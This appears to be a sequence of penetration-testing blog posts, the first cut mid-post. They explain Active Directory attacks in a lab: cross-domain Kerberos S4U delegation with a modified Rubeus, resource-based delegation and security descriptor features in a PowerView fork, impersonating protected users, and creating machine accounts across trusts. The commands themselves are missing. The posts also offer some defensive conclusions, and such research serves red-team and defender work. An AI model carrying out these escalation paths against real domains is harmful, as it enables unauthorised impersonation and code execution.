We can skip requesting a service ticket for the end service using only the referral TGT for child.user as we won't be using that ticket. The last thing we need to do it request the final service ticket for CIFS/ISQL1.internal.zeroday.lab from the DC for the domain internal.zeroday.lab (IDC1.internal.zeroday.lab), this is the ticket we can use to impersonate sql.admin on the target service. To do this we use a similar command to the one we just run, except instead of the TGT and fowardable service ticket, we use the referral TGT and delegated referral TGT, and instead of the local DC we request it from the foreign DC, you also have to pass Rubeus the /usesvcdomain
switch because cross-domain stuff is hard:
1 |
|
And finally we get the service ticket we're after:
Using this ticket gives as access to the CIFS service on the target ISQL1:
Conclusion
While this attack path is probably not normally required, due to other easier attack paths being likely possible, it does show that unsual edge cases exist that could allow for privilege escalation within a domain or even across domain trusts. Defenders should therefore ensure that they are fully aware of the configuration of their whole enterprise and the implications any of those configurations could have on the security of the infrastructure as a whole.
PowerView - A New Hope
I'd been wanting to add some features to PowerView for a while, it's arguably the tool I use most on infrastructure assessments, and when @harmj0y officially discontinued PowerSploit I decided to fork it and start adding them.
For anyone that doesn't know, PowerView is an amazing tool written in PowerShell that can be used for playing with Active Directory and particually performing recon of Active Directory.
This post is about some new features I've added to it. My forked version can be found here.
RBCD Support
Until now dealing with RBCD (or the msds-allowedtoactonbehalfofotheridentity attribute) using PowerView was a manual process. Using Security.AccessControl.RawSecurityDescriptor with an security descriptor definition language (SDDL) string as an argument and manually converting it, as documented here and here.
I wanted to automate this so I created the Get-DomainRBCD and Set-DomainRBCD functions.
Get-DomainRBCD
Get-DomainRBCD by default finds all accounts, user and computer, that have the msds-allowedtoactonbehalfofotheridentity. It returns a custom PS object where the SID's have been resolved if possible. If identities are specified then only the RBCD configuration of those identities are returned:
It also tells you whether the account (either source account or account that's been granted delegation rights) is a user or machine account. This is useful to know because only 1 type of account can be configured on the msds-allowedtoactonbehalfofotheridentity security descriptor at once. So either all computer accounts or all user accounts, but a mixture of the 2.
Set-DomainRBCD
To compliment Get-DomainRBCD, I created Set-DomainRBCD, which can be used to configured RBCD on an account.
The Identity parameter is the account(s) where RBCD is to be configured, it can be done on multiple accounts at once and works the same way as in the other PowerView functions, like Get-DomainUser. The DelegateFrom parameter is a pipe ('|') delimited list of identities to delegate access to. The argument to DelegateFrom can be any format also supported by the Identity parameter:
Configuring RBCD the same as in the previous screenshot can be done like this:
Here, I configure RBCD on the computer account ISQL1 and delegate access to ISQL1 and ISQL2. This results in the same configured shown previously:
Finally, it is possible to easily remove this configuration using the -Clear switch to Set-DomainRBCD:
This makes dealing with RBCD using only PowerView much easier.
Ownership
A small addition to the Get-DomainUser function in PowerView was the -Owner switch. With this switch it return 2 extra object members, OwnerSID and OwnerName:
As shown here, the owner of the testsd user has the SID of S-1-5-21-2042794111-3163024120-2630140754-512 and the SamAccountName of Domain Admins. This is important for the next section.
Security Descriptors
While coding Set-DomainRBCD I realised that the msds-allowedtoactonbehalfofotheridentity attribute is just a security descriptor (SD) and it reminded me of a conversation I had in the BloodHound slack regarding the AdminCount attribute.
As discussed here members of protected groups have their AdminCount attribute set to 1 by the SD Propagator (SDProp). At the same time the security descriptor (SD) from AdminSDHolder gets applied, which is basically a hardened SD for protected objects. The problem here is that when the object is removed from having protected status, the AdminCount attribute value as well as the hardened SD remains.
It is often required to escalate accounts during assessments to perform certain attack paths, but it is always best to leave the client infrastructure in as similar state as before the assessment. So a method of viewing and restoring object SD's was required.
Enter Get-DomainObjectSD and Set-DomainObjectSD.
Get-DomainObjectSD
Get-DomainObjectSD can be used to retrieve an object's SD. By default it will output a custom PS object with 2 members (ObjectSID and ObjectSDDL).
- ObjectSID is the objects security idenfitier (i.e S-1-5-21-2042794111-3163024120-2630140754-1113).
- ObjectSDDL is the security descriptor of the object in SDDL string format.
There is also an -OutFile parameter that can be used to output the SD's and SID's to a file:
The -OutFile argument appends when the file exists so different SD's can be added dynamically:
It is also possible to retrieve several SD's at the same time, by piping the identities into Get-DomainObjectSD, like with other PowerView functions:
A -Check parameter exists which allows the current SD to be compared to a supplied one. If it's the same just a warning will be thrown but if the SD is different, a warning will be thrown and the object will be returned:
The -Check parameter also takes a file containing multiple account SD's to be checked:
Escalating A User
So after adding the testsd user to the Domain Admins group, the AdminCount attribute was set as expected:
After a while and retreiving the SD using Get-DomainObjectSD function and diffing the 2 SD's shows that they are significantly different:
Removing testsd from the Domain Admins group, leaves the AdminCount set to 1, as shown below:
The AdminCount attribute can easily be cleared using Set-DomainObject's -Clear parameter:
Set-DomainObjectSD
This is where Set-DomainObjectSD comes in. Set-DomainObjectSD can only be used from an account that has owner privileges on the object, this is partly why the -Owner switch was added to Get-DomainUser.
There are 2 ways to set object SD's with Set-DomainObjectSD, firstly using an input file with the -InputFile parameter, this takes a csv file in the same format created by Get-DomainObjectSD:
This will apply all SD's contained within the provided file. The other way is to specify the object identity and the SDDL string manually with -SDDLString:
If multiple identities are specified here, the same SD will be applied to them, unlike if an input file is provided.
Some Other Useful Features
I have added 2 other useful functions, Find-HighValueAccounts and Get-DomainDCSync.
Find-HighValueAccounts
As mentioned above, the AdminCount attribute remains even after the user has been removed from the protected group. I wanted a way to find all current members of these groups. For this I created Find-HighValueAccounts, by default it returned the full user and computer objects (I've selected just the samaccountname so it can be displayed better):
It gets group membership recursively. You can specify which type of object to return with the -Users and -Computers switches. It also supports -SPN for returning accounts with service principal names, -Enabled and -Disabled, -AllowDelegation and -DisallowDelegation; and -PassNotExpire to search for accounts that are configured to not require a regular password reset.
Get-DomainDCSync
Another useful function I created is Get-DomainDCSync which gets the ACL from the domain head, and determines which result in the ability to perform a DCSync. This is primarily 2 different types of ACE's, GenericAll or both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. This function again returns the full object and by default returns user and computer objects:
This function also gets group membership recursively and also provides the ability to filter by object type, with -Users and -Computers but this time also includes the ability to filter by groups too with -Groups.
Get-DomainUser
I've also added a few features to some standard PowerView functions, including Get-DomainUser.
Along with the already mentioned -Owner switch, I added -Enabled, -Disabled -PassNotExpire switches which are pretty self-explainatory. A -Unconstrained switch which filters user accounts that are configured for unconstrained delegation. A -RBCD switch which returns user accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. A -PassLastSet parameter which will only return user accounts that have not changed their password for at least a number of days:
I've also added the -Locked and -Unlocked switches. These take into account the domain lockout duration policy into account. So if a user account has been locked 31 minutes ago but the lockout duration policy is set to 30, the account will be returned as unlocked.
Get-DomainComputer
For Get-DomainComputer I've added 2 switches, -RBCD and -ExcludeDCs. The -RBCD switch which returns computer accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. -ExcludeDCs allows you to filter out domain controllers from the results, useful for searching for computer accounts configured for unconstrained delegation:
Conclusion
I do plan on making more additions to PowerView but hopefully these will be useful on assessments.
Until then you can grab my fork of PowerView here.
Revisiting 'Delegate 2 Thyself'
So while still trying to ingest the great blog post by Elad Shamir Wagging the Dog, I discovered a section called Solving a Sensitive Problem which improves on the method I used in my Delegate 2 Thyself post. This post is about that improvement and an abuse case using it.
I highly recommend reading both of those posts before reading this if you haven't done already.
The Improvement
An S4U2Self service ticket can be retrieved by any machine account, without any prior configuration.
As shown below, this machine account for EIIS1 is not configured for any type of delegation:
Also, the external.admin user is marked as Account is sensitive and cannot be delegated:
Elad says that it is still possible to impersonate as that user on the requesting system (EIIS1), all that's required are the machine account credentials or TGT.
Automating the Process
In the Wagging the Dog post, Elad was using an ASN.1 editor to modify the S4U2Self ticket obtained using Rubeus. I decided to modify Rubeus so that this process was fully automated.
All this modification does is add's a /self flag to Rubeus's s4u command, when that's used and the /altservice flag is also used, the value to /altservice (in the format of the full SPN, eg. host/computer.domain.com) is subsituted into the sname field in the returned S4U2Self ticket.
Trying It Out
In the previous post I started with code execution to the IIS server EIIS1, which is the same position here:
We already know that this user can use the tgtdeleg trick to get a usable TGT:
Now it's important to understand the rest I perform from a separate non domain-joined system. I tend to see a lot of questions about performing attacks from systems that aren't domain-joined but due to the nature of most of my work, I almost always perform the attacks from my own, non domain-joined system, so I do in my blog posts too.
So next I perform the S4U2Self using the TGT we just recieved from a different system:
As you can see here, I've requested the S4U2Self ticket then rewrote the sname to http/eiis1.external.zeroday.lab as the user that cannot de delegated external.admin, the resulting ticket can be seen in the following klist output:
This ticket can then be used to execute commands over PowerShell remoting:
Conclusion
Obviously, the only way you can take advantage of this is if you can get access to the credentials or TGT of the target system.
But it can still be used for privilege escalation and, in the case of gaining access to a system configured for unconstrained delegation, remote code exectution (because you will be able to gather usable TGT's for remote systems).
The advantages of this over the full S4U2Proxy approach is that no configuration changes are required and you are able to impersonate protected users.
The advantages of this over a traditional silver ticket is that the resulting ticket contains a valid PAC.
A Strange Case of Trusts, Machine Accounts and DNS
While playing about with my Active directory (AD) lab infrastructure, I discovered I was able to create machine accounts across domain trusts. This led to the following bit of research.
There's been a lot of research into the impact of users creating machine accounts, including by Kevin Robertson's here and by Elad Shamir here but not much discussed about doing this across a domain trust.
The Setup
The lab I'm using for this blog post is setup as follows:
So here there are 3 forests and 4 domains (1 child domain). For the sake of simplicity this is a completely flat network, so all machines can access all other machines.
We have access to a low privileged user in the other.zeroday.lab domain.
This domain has a bidirectional external trust with the child domain child1.internal.zeroday.lab:
The child1.internal.zeroday.lab domain has an addition trust with it's parent domain internal.zeroday.lab:
Limitations Of The Current Position
It is not possible to authenticate against the internal.zeroday.lab domain using the current user:
And therefore, it is not possible to perform any real enumeration against that domain.
Also, it is not possible to create DNS records in the child1.internal.zeroday.lab domain:
Enter Machine Accounts
So while trying some things on this lab I attempted to create a machine account in child1.internal.zeroday.lab using the other.user user from other.zeroday.lab, and it worked:
The reason I tried this initially was because I wanted to create a DNS record in the trusted domain, which is now possible using this newly created machine account:
This shows that I now have more privileges on the trusted domain than I did otherwise.
But the implications were bigger, I can now use this machine account to query other trusted domains. So I can now enumerate trusts for the trusted domain internal.zeroday.lab:
And as a result, it's also possible to perform attacks such as kerberoasting against those trusted domains:
As well as triggering the printer bug discovered by Lee Christensen.
So we now clearly have much greater privileges across the enterprise than we did with only the user account we started out with.
Limitations Of Machine Accounts
While the machine accounts can create other machine account within the same domain (as I mentioned in my delegate to thyself post, a machine account is not able to create machine accounts across a trust:
This means we cannot use this machine account to pivot across the whole enterprise and gain access to the external.zeroday.lab domain without compromising another user account.
Conclusion
For me at least, this makes clear that the machine account quota configuration is more important than previously thought. By leaving this configuration at anything but 0, you allow for attackers on any domains that you have trust relationships with, to perform attacks against all other domains you have trust relationships with. Clearly it's not a huge impact if your domain only has 1 trust, then the main impact I can see is the ability for an attacker on the other domain to create DNS records within your domain.
More research is definitely needed in this area, I can't help but feel that this opens up new attacks that I'm not currently seeing.
Crossing Trusts 4 Delegation
The purpose of this post is to attempt to explain some research I did not long ago on performing S4U across a domain trust. There doesn't seem to be much research in this area and very little information about the process of requesting the necessary tickets.
I highly recommend reading Elad Shamir's Wagging the Dog post before reading this, as here I'll primarily focus on the differences between performing S4U within a single domain and performing it across a domain trust but I won't be going into a huge amount of depth on the basics of S4U and it's potential for attack, as Elad has already done that so well.
Motivation
I first thought of the ability to perform cross domain S4U when looking at the following Microsoft advisory. It states:
βTo re-enable delegation across trusts and return to the original unsafe configuration until constrained or resource-based delegation can be enabled, set the EnableTGTDelegation flag to Yes.β
This makes it clear that it is possible to perform cross domain constrained delegation. The problem was I couldn't find anywhere that gave any real detail as to how it is performed, and the tools used to take advantage of constrained delegation did not support it.
Luckily Will Schroeder published how to simulate real delegation traffic:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|
This allowed me to figure out how it works and implement it into Rubeus.
Recap
To perform standard constrained delegation, 3 requests and responses are required: 1. AS-REQ and AS-REP, which is just the standard Kerberos authentication. 2. S4U2Self TGS-REQ and TGS-REP, which is the first step in the S4U process. 3. S4U2Proxy TGS-REQ and TGS-REP, which is the actual impersonation to the target service.
I created a visual representation as the ones I've seen previously weren't the easiest to understand:
In this it's the ticket contained within the final TGS_REP that is used to access the target service as the impersonated user.
Some Theory
After hours of using Will's Powershell to generate S4U traffic and staring at packet dumps, this is how I understood cross domain S4U to work:
Clearly there's a lot more going on here, so let me try to explain.
-
The first step is still the same, a standard Kerberos authentication with the local domain controller. (1 and 2)
-
A service ticket is requested for the foreign domains krbtgt service from the local domain controller. (3 and 4)
- The users real TGT is required for this request.
- This is known as the inter-realm TGT or cross domain TGT. This resulting service ticket is used to request service tickets for services on the foreign domain from the foreign domain controller.
Here's where things start to get a little complicated. And the S4U2Self starts.
-
A service ticket for yourself as the target user you want to impersonate is requested from the foreign domain controller. (5 and 6)
- This requires the cross domain TGT.
- This is the first step in the cross domain S4U2Self process.
-
A service ticket for yourself as the user you want to impersonate is now requested from the local domain controller. (7 and 8)
- This request includes the users normal TGT as well as having the S4U2Self ticket, received from the foreign domain in step 3, attached as an additional ticket.
- This is the final step in the cross domain S4U2Self process.
And finally the S4U2Proxy requests. As with S4U2Self, it involves 2 requests, 1 to the local DC and 1 to the foreign DC.
-
A service ticket for the target service (on the foreign domain) is requested from the local domain controller. (9 and 10)
- This requires the users real TGT as well as the S4U2Self ticket, received from the local domain controller in step 4, attached as an additional ticket.
- This is the first step in the cross domain S4U2Proxy process.
-
A service ticket for the target service is requested from the foreign domain controller. (11 and 12)
- This requires the cross domain TGT as well as the S4U2Proxy ticket, received from the local domain controller in step 5, as an additional ticket.
- This is the service ticket used to access the target service and the final step in the cross domain S4U2Proxy process.
I implemented this full process into Rubeus with this PR, which means that the whole process can be carried out with a single command.
The implementation primarily involves the CrossDomainS4U()
, CrossDomainKRBTGT()
, CrossDomainS4U2Self()
and CrossDomainS4U2Proxy()
functions, along with the addition of 2 new command line switches, /targetdomain
and /targetdc
, and some other little modifications.
Basically when /targetdomain
and /targetdc
are passed on the commandline, Rubeus executes a cross domain S4U, otherwise a standard one is performed.
What's The Point?
Good question. This could be a useful attack path in some unusual situations. Let me try to explain one.
Consider the following infrastructure setup:
There are 2 domains, in a single forest. internal.zeroday.lab (the parent and root of the forest) and child1.internal.zeroday.lab (a child domain).
We've compromised a standard user, child.user, on child1.internal.zeroday.lab, this user can also authenticate against the SQL server ISQL1 in internal.zeroday.lab as a low privileged user:
As Elad mentions in the MSSQL section of his blog post, if the SQL server has the WebDAV client installed and running, xp_dirtree can be used to coerce an authentication to port 80.
What is important here is that the machine account quota for internal.zeroday.lab is 0:
This means that the standard method of creating a new machine account using the relayed credentials will not work:
The machine account quota for child1.internal.zeroday.lab is still the default 10 though:
So the user child.user can be used to create a machine account within the child1.internal.zeroday.lab domain:
As the machine account belongs to another domain, ntlmrelayx.py is not able to resolve the name to a SID:
For this reason I made a small modification which allows you to manually specify the SID, rather than a name. First we need the SID of the newly created machine account:
Now the --sid
switch can be used to specify the SID of the machine account to delegate access to:
The configuration can be verified using Get-ADComputer
:
Impersonation
So now everything is in place to perform the S4U and impersonate users to access ISQL1.
The NTLM hash of the newly created machine account is the ast thing that is required:
The following command can be used to perform the full attack and inject the service ticket for immediate use:
1 |
|
This command does a number of things but simply put, it authenticates as TestChildSPN$ from child1.internal.zeroday.lab against IC1DC1.child1.internal.zeroday.lab and impersonates internal.admin from internal.zeroday.lab to access http/ISQL1.internal.zeroday.lab.
Now let's look at this in a bit more detail.
As described previously, the first step is to perform a standard Kerberos authentication and recieve the account's TGT that has been delegated access (TestChildSPN in this case):
This TGT is then used to request the cross domain TGT from IC1DC1.child1.internal.zeroday.lab (the local domain controller):
This is simply a service ticket to krbtgt/internal.zeroday.lab. This cross domain TGT is then used on the foreign domain in exactly the same manner the users real TGT is used on the local domain.
It is this ticket that is then used to request the S4U2Self service ticket for TestChildSPN$ for the user internal.admin from IDC1.internal.zeroday.lab (the foreign domain controller):
To complete the S4U2Self process, the S4U2Self service ticket is requested from IC1DC1.child1.internal.zeroday.lab, again for TestChildSPN$ for the user internal.admin, but this time the users real TGT is used and the S4U2Self service ticket retrieved from the foreign domain in the previous step is attached as an additional ticket within the TGS-REQ:
To begin the impersonation, a S4U2Proxy service ticket is requested for the target service (http/ISQL1.internal.zeroday.lab in this case) from IC1DC1.child1.internal.zeroday.lab. As this request is to the local domain controller the users real TGT is used and the local S4U2Self, received in the previous step, is atached as an additional ticket in the TGS-REQ:
Lastly, a S4U2Proxy service ticket is also requested for http/ISQL1.internal.zeroday.lab from IDC1.internal.zeroday.lab. As this request is to the foreign domain controller, the cross domain TGT is used, and the local S4U2Proxy service ticket received in the previous step is attached as an additional ticket in the TGS-REQ. Once the final ticket is received, Rubeus automatically imports the ticket so it can be used immediately:
Now that the final service ticket has been imported it's possible to get code execution on the target server:
Conclusion
While it was possible to perform this across trusts within a single forest, I didn't manage to get this to work across external trusts. It would probably be possible but would require a non-standard trust configuration.
With most configurations this wouldn't be required as you could either create a machine account within the target domain or delegate to the same machine account, as I've discussed in a previous post, but it's important to understand the limits of what is possible with these types of attacks.
The mitigations are exactly the same as Elad discusses in his blog post as the attack is exactly the same, the only difference is here I'm performing it across a domain trust.
Acknowledgements
A big thaks to Will Schroeder for all of his work on delegation attacks and Rubeus. Also Elad Shamir for his detailed work on resource-based constrained delegation attacks and contributions to Rubeus which helped me greatly when trying to implement this. Benjamin Delpy for all of his work on Kerberos tickets in mimikatz and kekeo.
I'm sure there are many more too, without these guys work, research in this area would be much further behind where it currently is!